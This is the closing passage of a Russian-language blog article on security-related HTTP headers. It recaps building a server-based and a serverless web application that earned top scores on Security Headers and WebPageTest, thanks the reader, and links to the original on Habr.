Подведем итоги. Мы с вами вкратце изучили все HTTP-заголовки, связанные с безопасностью веб-приложений, разработали серверное и бессерверное приложения с аналогичным функционалом и получили лучшие оценки безопасности для данных приложений на Security Headers и WebPageTest. По-моему, очень неплохо для одной статьи.

Надеюсь, что вы не зря потратили время. Благодарю за внимание и хорошего дня!


ссылка на оригинал статьи https://habr.com/ru/company/timeweb/blog/568288/